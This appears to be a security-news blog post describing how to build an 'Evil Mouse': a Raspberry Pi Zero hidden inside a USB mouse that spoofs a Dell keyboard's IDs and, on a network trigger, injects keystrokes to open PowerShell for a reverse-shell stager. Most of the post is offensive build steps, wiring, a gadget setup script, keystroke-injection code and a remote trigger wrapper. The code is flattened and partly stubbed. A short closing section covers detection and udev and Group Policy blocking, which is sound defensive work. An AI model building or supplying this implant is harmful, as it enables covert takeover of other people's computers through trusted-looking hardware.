Listen to this Post
Introduction:
In the realm of cybersecurity, the most dangerous threats are often those that blend seamlessly into the environment. A groundbreaking hardware hacking project, dubbed the “Evil Mouse,” demonstrates this principle with alarming clarity. By embedding a Raspberry Pi Zero 2W inside a standard optical mouse, attackers can create a dual-function device that acts as a normal peripheral until remotely triggered to execute keystroke injection attacks, bypassing nearly all software-based defenses. This project underscores a critical axiom: physical access is synonymous with total compromise, pushing the boundaries of red teaming and physical security assessments.
Learning Objectives:
- Understand the architecture and components of a stealth BadUSB device embedded in common hardware.
- Learn the process of HID (Human Interface Device) payload creation and stealth enumeration techniques.
- Identify defensive strategies and detection methods for such hardware-based implants.
You Should Know:
- Hardware Integration: The Anatomy of the “Evil Mouse”
The core of this attack is the physical modification of a common USB optical mouse. The original internal PCB is supplemented or replaced to host a single-board computer capable of emulating keyboard input.
Step-by-step guide explaining what this does and how to use it:
1. Gather Components: You will need a Raspberry Pi Zero 2W (or similar), a USB-A female breakout board, a 3V relay module, NPN transistors (like 2N2222), resistors, a standard optical mouse with enough internal space, and wiring.
2. Modify the Mouse: Carefully disassemble the mouse. Create space for the Pi Zero and relay circuit, often by removing non-essential plastic supports.
3. Build the Switching Circuit: This is the critical stealth component. The circuit uses the relay to physically switch the USB data lines (D+ and D-) between the original mouse sensor and the Pi Zero.
Logic: A GPIO pin from the Pi (e.g., GPIO17) controls a transistor, which in turn activates the relay. When the GPIO is LOW, the USB lines connect to the mouse sensor. When triggered HIGH, the lines connect to the Pi Zero, making the computer see it as a new keyboard device.
4. Wiring Example: Solder the mouse’s original D+/D- wires to the relay’s Normally Closed (NC) pins. Solder wires from the Pi Zero’s USB data lines to the relay’s Common (COM) pins. Connect the relay’s control pins to your transistor circuit, driven by the selected GPIO.
2. Firmware & Stealth Enumeration: Mimicking Trusted Hardware
To avoid triggering security warnings on modern operating systems, the malicious device must impersonate a trusted vendor. Tools like `libusb` and custom kernel drivers can achieve this, but on a Raspberry Pi, the most straightforward method is using gadgets.
Step-by-step guide explaining what this does and how to use it:
1. Configure the Pi Zero as a USB Gadget: The Pi Zero can emulate various USB devices through its `dwc2` driver.
2. Enable the Gadget Module: Edit `/boot/config.txt` and add dtoverlay=dwc2. Then edit `/boot/cmdline.txt` and ensure `modules-load=dwc2,g_hid` is appended to the existing line (rootwait must be present).
3. Create a HID Descriptor File: The descriptor defines the device to the host OS. To mimic a Dell keyboard, you need its specific Vendor ID (VID) and Product ID (PID). Store a basic keyboard descriptor (you can find templates online) in a file, e.g., /home/pi/keyboard_desc.bin.
4. Load the Gadget with Spoofed IDs: Use `libcomposite` to create a more customizable gadget. A script can set up the HID function with spoofed IDs:
!/bin/bash cd /sys/kernel/config/usb_gadget/ mkdir -p evil_mouse cd evil_mouse echo "0x1234" > idVendor Replace with Dell's VID (e.g., 0x413C) echo "0x5678" > idProduct Replace with a Dell keyboard PID echo "1" > bDeviceClass mkdir -p strings/0x409 echo "Dell USB Keyboard" > strings/0x409/product mkdir -p configs/c.1/strings/0x409 echo "Config 1" > configs/c.1/strings/0x409/configuration mkdir -p functions/hid.usb0 echo 1 > functions/hid.usb0/protocol echo 1 > functions/hid.usb0/subclass echo 8 > functions/hid.usb0/report_length cat /home/pi/keyboard_desc.bin > functions/hid.usb0/report_desc ln -s functions/hid.usb0 configs/c.1/ ls /sys/class/udc > UDC
3. Payload Development: Crafting the Malicious Keystrokes
The payload is a sequence of keystrokes injected at high speed. Using the `evdev` library in Python on the Pi allows for precise control.
Step-by-step guide explaining what this does and how to use it:
1. Install Required Library: On the Pi, run `sudo apt install python3-evdev` or pip3 install evdev.
2. Create a Payload Script (evil.py): This script will open the correct HID device and send keystrokes. A simple reverse shell payload for Windows might involve opening PowerShell and downloading a stager.
from evdev import UInput, ecodes as e import time def inject_payload(): Map to the correct event device after the gadget is active This often requires finding the /dev/input/eventX file with UInput() as ui: time.sleep(2) Wait for the host to recognize the "keyboard" Open Run dialog (WIN + R) ui.write(e.EV_KEY, e.KEY_LEFTMETA, 1) ui.write(e.EV_KEY, e.KEY_R, 1) ui.syn() ui.write(e.EV_KEY, e.KEY_LEFTMETA, 0) ui.write(e.EV_KEY, e.KEY_R, 0) ui.syn() time.sleep(0.5) Type 'powershell' for key in [e.KEY_P, e.KEY_O, e.KEY_W, e.KEY_E, e.KEY_R, e.KEY_S, e.KEY_H, e.KEY_E, e.KEY_L, e.KEY_L]: ui.write(e.EV_KEY, key, 1) ui.syn() ui.write(e.EV_KEY, key, 0) ui.syn() time.sleep(0.05) ui.write(e.EV_KEY, e.KEY_ENTER, 1) ui.syn() ui.write(e.EV_KEY, e.KEY_ENTER, 0) ui.syn() ... more keystrokes to execute the PowerShell command ...
4. Remote Triggering & Automation
The device must wait for a command to switch from mouse to keyboard mode and execute the payload. This can be done over a hidden Wi-Fi network or Bluetooth.
Step-by-step guide explaining what this does and how to use it:
1. Set Up a C2 Channel: On the Pi, configure a secure listener. A simple Python socket server can work, but for robustness, use something like `pwncat` or a reverse SSH tunnel.
2. Create the Master Control Script: This script runs on boot, waits for a network signal, triggers the relay, and runs the payload.
control_wrapper.py import RPi.GPIO as GPIO import time import subprocess import socket RELAY_PIN = 17 GPIO.setmode(GPIO.BCM) GPIO.setup(RELAY_PIN, GPIO.OUT, initial=GPIO.LOW) Simple socket listener on a predefined port def wait_for_trigger(): ... socket listening code ... if received_command == "EXECUTE": return True return False if wait_for_trigger(): GPIO.output(RELAY_PIN, GPIO.HIGH) Switch USB lines to Pi time.sleep(3) Allow USB re-enumeration subprocess.run(["sudo", "python3", "/home/pi/evil.py"]) GPIO.output(RELAY_PIN, GPIO.LOW) Switch back to normal mouse
5. Detection and Mitigation Strategies
For blue teams and security-aware users, detecting such hardware requires both policy and technical controls.
Step-by-step guide explaining what this does and how to use it:
1. Physical Inspection: Regularly inspect peripherals for signs of tampering (extra weight, mismatched screws, glue).
2. Endpoint Monitoring: Use tools to audit connected USB devices deeply.
Windows (PowerShell): `Get-PnpDevice -Class USB | Select-Object FriendlyName, InstanceId, Status`
Linux: Use `lsusb -v` to examine detailed descriptors. Look for mismatched vendor/product strings or suspicious HID classes.
3. Enforce Device Control Policies:
Windows Group Policy: Navigate to Computer Configuration > Administrative Templates > System > Device Installation > Device Installation Restrictions. Enable “Prevent installation of devices not described by other policy settings” and create whitelists for approved hardware IDs.
Linux (udev rules): Create rules in `/etc/udev/rules.d/` to block unauthorized vendor/product IDs. Example rule to block a specific fake Dell keyboard:
ACTION=="add", SUBSYSTEM=="usb", ATTR{idVendor}=="413c", ATTR{idProduct}=="2107", RUN+="/bin/sh -c 'echo 0 > /sys$env{DEVPATH}/authorized'"
4. Network Segmentation: Isolate workstations handling sensitive data from critical network segments to limit the impact of a reverse shell.
5. Disable Auto-Run for Removable Media: This is a foundational security measure that hinders some automated payloads.
What Undercode Say:
- Physical Access is the Ultimate Frontier: No amount of endpoint detection software can fully compensate for a malicious device with physical bus access. This project is a potent reminder that security perimeters must extend to the physical USB port.
- The Weaponization of Trust: By spoofing a trusted, common vendor ID, the attack bypasses the user’s mental model of risk and many technical pop-up warnings. Security training must evolve to consider hardware implants as plausible threats.
This “Evil Mouse” is not just a pentester’s tool; it’s a prototype for a class of attacks that will become more accessible. The convergence of cheap, powerful single-board computers and social engineering (e.g., “Here, use this spare mouse”) creates a high-impact, low-detection threat vector. It forces a re-evaluation of supply chain security for peripherals and highlights the need for hardware-based authentication for critical systems.
Prediction:
The future of such hardware attacks points towards increased miniaturization, wireless covert channels (using Bluetooth Low Energy or cellular), and AI-driven behavioral mimicry. An “intelligent” malicious mouse could learn a user’s typical movement patterns to avoid detection algorithms and only trigger payloads during specific, high-value activities. Furthermore, the integration of AI on the edge (e.g., on-device LLMs) could allow for dynamic, context-aware social engineering attacks generated in real-time based on screen captures, making these implants autonomous and far more dangerous. Defense will increasingly rely on hardware root-of-trust mechanisms and zero-trust architectures applied at the physical port level.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Wajdi Ridene – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
